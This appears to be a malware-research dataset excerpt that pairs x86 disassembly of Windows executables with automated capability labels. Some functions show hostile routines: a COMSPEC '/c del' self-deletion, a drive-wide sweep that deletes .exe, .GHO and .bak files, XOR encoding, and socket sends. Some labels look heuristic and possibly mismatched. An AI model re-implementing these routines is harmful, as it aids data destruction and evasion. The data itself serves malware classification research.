joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430020
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.00435cd0
mov eax, dword [0x446040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x4477c8]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x141c], ecx
mov edx, dword [ebp - 0x141c]
cmp edx, dword [ebp - 0x1424]
jae 0x43020b
lea eax, [ebp - 6]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1414], ecx
mov edx, dword [ebp - 0x1414]
cmp edx, dword [ebp - 0x1430]
jae 0x430156
mov eax, dword [ebp - 0x141c]
cmp eax, dword [ebp - 0x1424]
jae 0x430156
mov ecx, dword [ebp - 0x141c]
mov dx, word [ecx]
mov word [ebp - 0x141e], dx
mov eax, dword [ebp - 0x141c]
add eax, 2
mov dword [ebp - 0x141c], eax
mov cx, word [ebp - 0x141e]
mov word [ebp - 0x1418], cx
movzx edx, word [ebp - 0x1418]
cmp edx, 0xa
jne 0x430132
mov eax, dword [ebp - 0x1408]
add eax, 2
mov dword [ebp - 0x1408], eax
mov ecx, 0xd
mov edx, dword [ebp - 0x1414]
mov word [edx], cx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
mov ecx, dword [ebp - 0x1414]
mov dx, word [ebp - 0x1418]
mov word [ecx], dx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
jmp 0x4300a9
mov ecx, dword [ebp - 0x1414]
lea edx, [ebp - 0x1404]
sub ecx, edx
sar ecx, 1
shl ecx, 1
mov dword [ebp - 0x142c], ecx
push 0
lea eax, [ebp - 0x1428]
push eax
mov ecx, dword [ebp - 0x142c]
push ecx
lea edx, [ebp - 0x1404]
push edx
mov eax, dword [ebp - 0x1434]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4301c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x43022b
mov eax, dword [ebp - 0x140c]
add eax, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], eax
mov ecx, dword [ebp - 0x1428]
cmp ecx, dword [ebp - 0x142c]
jae 0x430206
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x1410]
mov dword [edx], eax
mov ecx, dword [ebp - 0x140c]
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x1408]
mov dword [edx + 8], eax
mov eax, dword [ebp + 8]
jmp 0x43022b
jmp 0x430082
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405850
mov esp, ebp
pop ebp
ret
Function at 0x401040
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete

Disassembly:
sub esp, 0x348
lea eax, [esp + 0x3c]
push esi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x401174
lea ecx, [esp + 0x40]
push 0x104
lea edx, [esp + 0x44]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
test eax, eax
je 0x401174
lea eax, [esp + 0x248]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x401174
lea ecx, [esp + 0x144]
push str._c_del
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x40]
lea eax, [esp + 0x144]
push edx
push eax
call esi
lea ecx, [esp + 0x144]
push str.___nul
push ecx
call esi
lea ecx, [esp + 4]
lea edx, [esp + 0x248]
lea eax, [esp + 0x144]
push ecx
mov dword [esp + 8], 0x3c
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], str.Open
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0xc], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x401174
mov edx, dword [esp + 0x3c]
mov esi, dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
push 0x40
push edx
call esi
push 0x100
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
lea eax, [esp + 0x40]
push 0
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov eax, 1
pop esi
add esp, 0x348
ret
xor eax, eax
pop esi
add esp, 0x348
ret

Function at 0x401180
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401195
xor eax, eax
ret 4
and al, 0x10
xor ecx, ecx
cmp al, 0x10
setne cl
mov eax, ecx
ret 4

Function at 0x4012b0
Capabilities:
Read file on windows

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x10]
push esi
push edi
push 0x404030
mov edi, ecx
push ebx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x4012da
pop edi
pop esi
pop ebx
add esp, 8
ret 4
push ebx
mov ecx, edi
call fcn.00401290
mov edi, eax
push 0
lea eax, [edi - 8]
push eax
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
push 8
lea ecx, [esp + 0x20]
push 1
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
mov eax, dword [esp + 0x2c]
add esp, 0x1c
cmp eax, edi
push esi
je 0x401321
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 8
ret 4
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 8
ret 4
Function at 0x401b30
Capabilities:
Create process on windows
Delete file

Disassembly:
sub esp, 0x54
push esi
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
mov esi, dword [esp + 0x60]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
push esi
mov dword [esp + 0x40], 0x44
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x401b8d
mov eax, dword [esp + 0x64]
test eax, eax
je 0x401b8d
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
add esp, 0x54
ret 8

Function at 0x401ba0
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x4023e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push ebp
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esp + 0x14]
call fcn.004020d6
mov ecx, dword [esp + 0x10]
xor ebx, ebx
push ecx
mov ecx, esi
mov dword [esp + 0x20], ebx
call fcn.00401290
lea edx, [esp + 0x24]
push 4
push edx
lea ecx, [esp + 0x18]
mov edi, eax
call sub.MFC42.DLL_CString::Right
mov eax, dword [esp + 0x24]
mov ebp, dword [sym.imp.MSVCRT.dll__mbscmp]
push str..exe
push eax
mov byte [esp + 0x24], 1
call ebp
add esp, 8
test eax, eax
je 0x401c88
mov ecx, dword [esp + 0x24]
push str..EXE
push ecx
call ebp
add esp, 8
test eax, eax
je 0x401c88
mov edx, dword [esp + 0x24]
push 0x404108
push edx
call ebp
add esp, 8
test eax, eax
je 0x401c7b
mov eax, dword [esp + 0x24]
push str..GHO
push eax
call ebp
add esp, 8
test eax, eax
je 0x401c7b
mov ecx, dword [esp + 0x24]
push str..bak
push ecx
call ebp
add esp, 8
test eax, eax
je 0x401c7b
mov edx, dword [esp + 0x24]
push str..BAK
push edx
call ebp
add esp, 8
test eax, eax
je 0x401c7b
cmp edi, 0x1f40000
ja 0x401caf
mov eax, dword [esp + 0x10]
push ebx
push eax
jmp 0x401c97
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
jmp 0x401caf
cmp edi, 0xfa0000
ja 0x401caf
mov edx, dword [esp + 0x10]
push 1
push edx
mov ecx, esi
call fcn.00401340
mov eax, 0xcccccccd
mul edi
shr edx, 0xf
push edx
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10
Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x14d040e7
Capabilities:
Connect socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ecx
push ecx
push ebp
push 0x400
push 8
push dword [0x14d11ea0]
call dword [0x14d12164]
mov dword [esp + 8], eax
lea eax, [esp + 4]
push eax
xor ebp, ebp
push ebp
push 0x14d01100
push 0x14d010f0
mov dword [esp + 0x14], ebp
call dword [0x14d1151c]
test eax, eax
jne 0x14d04228
push ebx
push 6
push 1
push ebp
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
mov eax, dword [esp + 8]
push dword [eax + 0x10]
push dword [eax + 0x18]
push ebx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x14d04227
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebp
mov esi, 0x14d010d8
push esi
call edi
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_send]
push ebx
call esi
mov eax, dword [esp + 0x1c]
sub eax, ebp
je 0x14d04197
dec eax
je 0x14d0418d
dec eax
je 0x14d04183
dec eax
jne 0x14d041a2
push ebp
push 3
push 0x14d010d4
jmp 0x14d0419f
push ebp
push 3
push 0x14d010d0
jmp 0x14d0419f
push ebp
push 3
push 0x14d010cc
jmp 0x14d0419f
push ebp
push 3
push 0x14d010c8
push ebx
call esi
push ebp
push dword [esp + 0x24]
call edi
push eax
push dword [esp + 0x28]
push ebx
call esi
push ebp
push dword [esp + 0x28]
call edi
push eax
push dword [esp + 0x2c]
push ebx
call esi
push ebp
push 1
push 0x14d010c4
push ebx
call esi
push ebp
push dword [esp + 0x2c]
call edi
push eax
push dword [esp + 0x30]
push ebx
call esi
push ebp
push 0x14d010b8
call edi
push eax
push 0x14d010b8
push ebx
call esi
push ebp
push 0x14d0109c
call edi
push eax
push 0x14d0109c
push ebx
call esi
push ebp
push 4
push 0x14d01094
push ebx
call esi
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [esp + 0x14], ebp
pop edi
pop esi
je 0x14d04227
push dword [esp + 0xc]
push ebp
push dword [0x14d11ea0]
call dword [0x14d1216c]
pop ebx
pop ebp
pop ecx
pop ecx
ret
Function at 0x14d08f41
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, eax
test esi, esi
jne 0x14d08f7c
cmp word [edi], 0x5a4d
jne 0x14d08fa6
mov eax, dword [edi + 0x3c]
add eax, edi
cmp dword [eax], 0x4550
jne 0x14d08fa6
lea esi, [eax + 0x80]
push 8
push esi
call dword [0x14d12220]
test eax, eax
jne 0x14d08fa6
cmp dword [esi + 4], eax
je 0x14d08fa6
mov esi, dword [esi]
test esi, esi
je 0x14d08fa6
add esi, edi
push ebx
push 0x14
push esi
xor bl, bl
call dword [0x14d12220]
test eax, eax
jne 0x14d08fd4
mov eax, dword [esi + 0xc]
test eax, eax
je 0x14d08fd0
push 2
add eax, edi
push eax
call dword [0x14d12220]
test eax, eax
je 0x14d08faa
mov bl, 1
jmp 0x14d08fc0
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0xc]
push dword [esp + 0xc]
add eax, edi
push eax
xor bl, bl
call dword [0x14d12128]
test eax, eax
je 0x14d08fd4
push 0x14
add esi, 0x14
push esi
call dword [0x14d12220]
test eax, eax
je 0x14d08f8c
test bl, bl
jne 0x14d08fea
push 0x14
push esi
call dword [0x14d12220]
test eax, eax
jne 0x14d08fea
cmp dword [esi + 0xc], eax
je 0x14d08fea
mov eax, esi
jmp 0x14d08fec
xor eax, eax
pop ebx
pop esi
ret
Function at 0x14d096c8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push esi
mov esi, eax
mov eax, dword [esp + 8]
mov ecx, dword [eax]
inc ecx
movzx eax, byte [ecx]
test eax, eax
push edi
jne 0x14d096e2
mov byte [esi], 1
jmp 0x14d0983a
cmp eax, 0x30
jl 0x14d0983a
cmp eax, 0x7a
jg 0x14d0983a
lea edx, [eax - 0x30]
movsx edi, word [edx*2 + 0x14d03290]
test edi, edi
je 0x14d0970a
mov eax, edi
jmp 0x14d0983a
cmp eax, 0x58
jg 0x14d097bc
je 0x14d0973d
cmp eax, 0x30
je 0x14d09794
jle 0x14d0983a
cmp eax, 0x39
jle 0x14d09745
cmp eax, 0x4c
je 0x14d0973d
cmp eax, 0x4e
je 0x14d0973d
cmp eax, 0x50
je 0x14d0973d
cmp eax, 0x55
jne 0x14d0983a
mov byte [esi], 0x25
jmp 0x14d0983a
cmp byte [esp + 0x14], 0
jne 0x14d0977a
push ebx
mov esi, ecx
jmp 0x14d0975d
mov ecx, eax
lea eax, [edx + edx*4]
movzx edx, byte [ecx]
lea edx, [edx + eax*2 - 0x30]
lea eax, [ecx + 1]
movzx ebx, byte [eax]
test byte [ebx + 0x14d03328], 4
jne 0x14d09751
cmp edx, 0xa
pop ebx
jl 0x14d0978a
cmp edx, dword [esp + 0x10]
jle 0x14d0978a
mov ecx, esi
movzx eax, byte [ecx]
cmp eax, 0x38
jl 0x14d09794
dec ecx
xor eax, eax
jmp 0x14d0983a
push 0xffffffffffffffef
pop eax
sub eax, edx
jmp 0x14d0983a
sub eax, 0x30
lea esi, [ecx + 1]
mov dl, byte [esi]
inc edi
cmp dl, 0x30
jb 0x14d097b5
cmp dl, 0x37
ja 0x14d097b5
cmp edi, 2
mov ecx, esi
movzx edx, byte [ecx]
lea eax, [edx + eax*8 - 0x30]
jl 0x14d09797
and eax, 0xff
jmp 0x14d0983a
cmp eax, 0x63
je 0x14d0981d
cmp eax, 0x6c
je 0x14d0973d
cmp eax, 0x70
je 0x14d0973d
cmp eax, 0x75
je 0x14d0973d
cmp eax, 0x78
jne 0x14d0983a
xor eax, eax
lea edx, [ecx + 1]
movzx esi, byte [edx]
inc edi
test byte [esi + 0x14d03328], 8
je 0x14d0983a
mov ecx, edx
movzx esi, byte [ecx]
cmp esi, 0x61
jl 0x14d09800
sub esi, 0x20
xor edx, edx
cmp esi, 0x41
setge dl
shl eax, 4
dec edx
and edx, 0xfffffff9
add edx, 0x37
sub eax, edx
add eax, esi
cmp edi, 2
jl 0x14d097e3
jmp 0x14d0983a
inc ecx
movzx eax, byte [ecx]
test eax, eax
jne 0x14d0982a
mov byte [esi], 2
jmp 0x14d09840
cmp eax, 0x61
jl 0x14d09837
cmp eax, 0x7a
jg 0x14d09837
sub eax, 0x20
xor eax, 0x40
mov edx, dword [esp + 0xc]
mov dword [edx], ecx
pop edi
pop esi
ret

Function at 0x14d09913
Capabilities:
Parse credit card information

Disassembly:
mov cl, byte [eax]
cmp cl, 3
jb 0x14d0994f
push esi
push edi
cmp cl, 4
jbe 0x14d0993a
cmp cl, 0xf
je 0x14d09961
cmp cl, 0x3f
jbe 0x14d0994d
cmp cl, 0x42
jbe 0x14d09950
cmp cl, 0x46
je 0x14d0993a
cmp cl, 0x49
jne 0x14d0994d
movzx ecx, byte [eax]
movzx ecx, byte [ecx + 0x14d03230]
add eax, ecx
mov cl, byte [eax]
cmp cl, 3
jae 0x14d0991c
pop edi
pop esi
ret
xor ecx, ecx
mov ch, byte [eax + 1]
mov cl, byte [eax + 2]
add eax, ecx
cmp byte [eax], 0x3b
je 0x14d09950
jmp 0x14d0993a
cmp dword [esp + 0xc], 0
jle 0x14d0997e
movzx ecx, byte [eax + 1]
mov esi, dword [edx]
and esi, dword [esp + 0xc]
mov edi, ecx
and edi, dword [esp + 0xc]
cmp edi, esi
je 0x14d0997e
mov dword [edx], ecx
inc eax
inc eax
jmp 0x14d09946
Function at 0x14d0afe3
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov eax, dword [ebp + 8]
push 2
add eax, 3
mov edx, ebx
call fcn.14d09913
mov edi, eax
movzx esi, byte [edi]
cmp esi, 0x4a
pop ecx
jle 0x14d0b040
sub esi, 0x4a
cmp esi, 0x96
jle 0x14d0b01b
xor eax, eax
mov ah, byte [edi + 4]
mov al, byte [edi + 5]
mov esi, eax
xor eax, eax
inc eax
cmp esi, 0x20
jge 0x14d0b027
mov ecx, esi
shl eax, cl
push dword [ebp + 0x14]
or eax, dword [ebp + 0x10]
push eax
push ebx
push edi
call fcn.14d0afe3
add esp, 0x10
test al, al
jne 0x14d0b096
xor al, al
jmp 0x14d0b0b1
je 0x14d0b051
cmp esi, 0x3f
je 0x14d0b051
cmp esi, 0x44
je 0x14d0b051
cmp esi, 0x45
jne 0x14d0b065
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
push edi
call fcn.14d0afe3
add esp, 0x10
test al, al
je 0x14d0b03c
cmp esi, 0x26
je 0x14d0b06f
cmp esi, 0x27
jne 0x14d0b082
test byte [ebx], 4
je 0x14d0b082
cmp byte [edi + 1], 0xb
jne 0x14d0b03c
mov eax, dword [ebp + 0x14]
test dword [ebp + 0x10], eax
jmp 0x14d0b094
cmp esi, 1
je 0x14d0b096
cmp esi, 2
je 0x14d0b096
test byte [ebx], 2
jne 0x14d0b03c
cmp esi, 0x10
jne 0x14d0b03c
mov eax, dword [ebp + 8]
xor ecx, ecx
mov ch, byte [eax + 1]
mov cl, byte [eax + 2]
add eax, ecx
cmp byte [eax], 0x3b
mov dword [ebp + 8], eax
je 0x14d0afec
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x14d0b0b6
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0
lea eax, [ebx + 3]
xor edx, edx
call fcn.14d09913
mov edi, eax
movzx esi, byte [edi]
cmp esi, 0x4a
pop ecx
jle 0x14d0b112
sub esi, 0x4a
cmp esi, 0x96
jle 0x14d0b0eb
xor eax, eax
mov ah, byte [edi + 4]
mov al, byte [edi + 5]
mov esi, eax
xor eax, eax
inc eax
cmp esi, 0x20
jge 0x14d0b0f7
mov ecx, esi
shl eax, cl
push dword [ebp + 0x10]
or eax, dword [ebp + 0xc]
push eax
push edi
call fcn.14d0b0b6
add esp, 0xc
test al, al
jne 0x14d0b153
xor al, al
pop edi
pop esi
pop ebx
pop ebp
ret
je 0x14d0b123
cmp esi, 0x3f
je 0x14d0b123
cmp esi, 0x44
je 0x14d0b123
cmp esi, 0x45
jne 0x14d0b136
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call fcn.14d0b0b6
add esp, 0xc
test al, al
je 0x14d0b10b
cmp esi, 0x26
je 0x14d0b145
cmp esi, 0x27
je 0x14d0b145
cmp esi, 0x10
jmp 0x14d0b151
cmp byte [edi + 1], 0xb
jne 0x14d0b10b
mov eax, dword [ebp + 0x10]
test dword [ebp + 0xc], eax
jne 0x14d0b10b
xor eax, eax
mov ah, byte [ebx + 1]
mov al, byte [ebx + 2]
add ebx, eax
cmp byte [ebx], 0x3b
je 0x14d0b0bf
mov al, 1
jmp 0x14d0b10d
Function at 0x14d0b16a
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
or ebx, 0xffffffff
push 1
lea eax, [edi + 3]
mov edx, esi
call fcn.14d09913
pop ecx
movzx ecx, byte [eax]
cmp ecx, 0x4a
jl 0x14d0b190
push 0x4a
pop ecx
cmp ecx, 0x3f
jg 0x14d0b1e4
je 0x14d0b1f3
cmp ecx, 0x12
je 0x14d0b1ac
cmp ecx, 0x15
jle 0x14d0b210
cmp ecx, 0x17
jle 0x14d0b1ad
cmp ecx, 0x1c
jne 0x14d0b210
inc eax
inc eax
cmp byte [esp + 0x18], 0
je 0x14d0b210
test ebx, ebx
jge 0x14d0b1c9
test byte [esi], 1
movzx ebx, byte [eax + 1]
je 0x14d0b1d1
or ebx, 0x100
jmp 0x14d0b1d1
movzx eax, byte [eax + 1]
cmp ebx, eax
jne 0x14d0b210
xor eax, eax
mov ah, byte [edi + 1]
mov al, byte [edi + 2]
add edi, eax
cmp byte [edi], 0x3b
je 0x14d0b178
mov eax, ebx
jmp 0x14d0b213
cmp ecx, 0x44
jl 0x14d0b210
cmp ecx, 0x45
jle 0x14d0b1f3
cmp ecx, 0x4a
jne 0x14d0b210
cmp ecx, 0x3f
sete cl
push ecx
push esi
push eax
call fcn.14d0b16a
add esp, 0xc
test eax, eax
jl 0x14d0b210
test ebx, ebx
jge 0x14d0b1cd
mov ebx, eax
jmp 0x14d0b1d1
or eax, 0xffffffff
pop edi
pop esi
pop ebx
ret
Function at 0x14d0bce0
Capabilities:
Parse credit card information

Disassembly:
push ebp
lea ebp, [esp - 0x5c]
sub esp, 0xb4
push esi
mov esi, dword [ebp + 0x70]
mov eax, dword [esi]
cmp eax, 0x989680
lea ecx, [eax + 1]
mov dword [esi], ecx
jb 0x14d0bd05
push 0xfffffffffffffff9
pop eax
jmp 0x14d0d282
test byte [ebp + 0x7c], 2
mov eax, dword [ebp + 0x74]
push ebx
mov ebx, dword [ebp + 0x64]
mov dword [ebp + 0x40], eax
je 0x14d0bd24
mov eax, dword [ebp + 0x78]
mov dword [ebp + 0x20], eax
lea eax, [ebp + 0x20]
mov dword [ebp + 0x24], ebx
mov dword [ebp + 0x78], eax
push edi
mov edi, dword [ebp + 0x68]
mov al, byte [edi]
mov byte [ebp + 0x47], al
movzx eax, al
mov edx, eax
xor cl, cl
cmp edx, 0x4a
mov byte [ebp + 0x73], cl
jle 0x14d0bd65
add edx, 0xffffffb6
cmp edx, 0x96
mov dword [ebp + 0x50], edx
jle 0x14d0bd55
xor edx, edx
mov dh, byte [edi + 4]
mov dl, byte [edi + 5]
mov dword [ebp + 0x50], edx
add edx, edx
cmp edx, dword [esi + 0xc]
jl 0x14d0caee
push 0x4a
pop edx
cmp edx, edx
ja 0x14d0d27d
movzx edx, byte [edx + 0x14d0d334]
jmp dword [edx*4 + 0x14d0d288]
xor eax, eax
jmp 0x14d0d280
mov eax, dword [esi + 4]
mov ecx, edx
shl ecx, 2
mov dword [ebp + 0x4c], ecx
add ecx, eax
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp + 0x40], ecx
mov ecx, dword [esi + 8]
sub ecx, dword [ebp + 0x50]
mov dword [ebp + 0x48], edx
lea eax, [eax + ecx*4]
mov ecx, dword [eax]
mov dword [ebp + 0x54], ecx
mov ecx, dword [esi + 0x38]
mov dword [ebp + 0x70], ecx
mov ecx, ebx
sub ecx, dword [esi + 0x24]
mov dword [eax], ecx
push 2
push dword [ebp + 0x78]
lea eax, [edi + 3]
push dword [ebp + 0x74]
push esi
push dword [ebp + 0x6c]
push eax
push ebx
call fcn.14d0bce0
add esp, 0x1c
test eax, eax
jne 0x14d0d280
mov eax, dword [ebp + 0x70]
mov dword [esi + 0x38], eax
xor eax, eax
mov ah, byte [edi + 1]
mov al, byte [edi + 2]
add edi, eax
cmp byte [edi], 0x3b
je 0x14d0cb21
mov ecx, dword [esi + 4]
mov eax, dword [ebp + 0x4c]
mov edx, dword [ebp + 0x48]
mov dword [eax + ecx], edx
mov ecx, dword [esi + 4]
mov edx, dword [ebp + 0x40]
mov dword [ecx + eax + 4], edx
mov eax, dword [esi + 8]
sub eax, dword [ebp + 0x50]
mov ecx, dword [esi + 4]
mov edx, dword [ebp + 0x54]
mov dword [ecx + eax*4], edx
jmp 0x14d0ca29
push 0xfffffffffffffffc
pop eax
pop edi
pop ebx
pop esi
add ebp, 0x5c
leave
ret